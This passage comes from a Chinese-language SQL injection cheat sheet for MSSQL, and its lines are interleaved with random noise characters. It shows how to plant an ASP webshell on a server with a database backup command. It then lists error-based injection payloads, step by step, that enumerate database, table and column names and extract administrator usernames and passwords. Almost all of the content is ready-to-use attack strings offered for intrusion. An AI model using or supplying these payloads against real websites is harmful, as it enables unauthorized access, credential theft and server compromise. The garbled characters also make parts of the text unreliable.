* Z6 i4 v* {+ ]* [14.mssql的backup创建webshell Y7 S' d) N! r' H0 S' W, T
use model 4 W2 I0 ]2 t* k$ o7 _
create table cmd(str image); 9 h2 G6 z Q- c7 h3 m, `
insert into cmd(str) values ('<% Dim oScript %>'); , ?9 [% d6 ` v1 F/ f/ H
backup database model to disk='c:\l.asp'; , {: [5 _% I% a h% c7 l: E8 h1 n* B4 K5 H9 O' d
15.mssql内置函数 1 h- j0 k6 X0 B* Y. B- @;and (select @@version)>0 获得Windows的版本号 ) _3 r/ G {2 h6 m
;and user_name()='dbo' 判断当前系统的连接用户是不是sa - O! L! j: P& |# e3 Y
;and (select user_name())>0 爆当前系统的连接用户 , n* c1 l; _ O7 d- _' h1 _
;and (select db_name())>0 得到当前连接的数据库 & {! {* K8 W! ?
, L# ]/ e6 C3 f7 E2 v
+ E- ~- ?( [0 A8 e0 M1 X ( `: G2 W }: Z" m. Q* wMSSQL手注暴库 " T; B2 H3 Z/ v( d* {6 ^* s + P# \8 v9 q( L0 O% }2 P1.暴出当前表名和列名 - c" m6 P' L* {! d/ w/ S. K在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 C4 O9 `: ]7 t" J
0 @- |! O. Y' W6 h
第一.爆出所有数据库名 / y+ M1 I6 g2 D/ o* s" L) e3 P利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。2 g2 L0 ~2 `/ y' O+ k
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。 ( Y8 U* m* q* e6 q( Q" J3 m 8 U& u, v; x$ g/ band 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名. K* _9 Y) L9 P# h3 v$ P5 C
, O f4 k! c0 R
$ F2 A; I8 ~3 y" K' U \
第二.爆出指定库中的所有表名 8 i3 w- M- K9 p* l1 g: W; E7 q得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。 4 n: R8 a: B" T" d- h6 ^0 \8 [, [再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。" G! p8 I9 Y% U4 w3 G$ @2 X
: e; V/ b0 e3 D" \0 W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')-- . K# l$ c5 g) r# @: `, nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))-- ; Q s% i Z3 R; T: ^* eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--' f* t9 p# ?/ z% {- q' j
, }. ^$ |4 ^! } K( j0 V9 H
4.爆出指定表中的所有列名$ f0 {! G; V' d' I$ q9 L1 E
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) . x% H4 b" _/ |, I7 B$ B//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名' - `4 x3 ~& n& r6 C) H2 C/ [ / P G4 F1 N+ }/ c2 |. zand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名 2 y/ t# y( {- u( b 0 j. J5 B. ~* S ^: H, ?- i再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % W$ m* N; H p2 J h5 `% N
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。' _1 C6 I$ |* j' y, X
" Z4 i) t% \9 z4 k/ W ; _% b2 X2 O7 cand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值 , r- h* S/ M; H" q: K" n 3 Y% Y- g, W% aand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名 1 X0 O, _0 |4 F & |$ d& |6 e G% I7 Y6 land 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- " h2 Q1 v v4 l7 X: H( J
5 H) \, D9 F2 o- P
. n$ Q; i: {. l
' o$ N/ ]; [4 ^
5.读取指定表中的数据 " E- D7 ~; E0 s( B ( _& o2 M; \& s3 d& vand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 : ~/ ~' k, w3 y; m5 _/ Z' C5 ~3 _! P
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--8 I% M4 f* m5 u
5 R" Q Y& F% z5 L4 uand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码 - i S; W# u# M! ?) j. b3 |) n 1 I. C0 ^$ }: X0 L 7 \) H9 V" V8 w) k* Hand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)8 @) I/ K4 f1 x I' {- @0 ^+ d
* W5 K; D$ \; L2 G% l
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang) 0 g6 a% [$ o, o, g; t* P6 B3 ]3 ^9 B& Z
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--$ m# P( v. R% R' d1 d" W$ r- k
8 w4 }' v0 T8 L8 {
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。 ) O4 T) A0 {3 L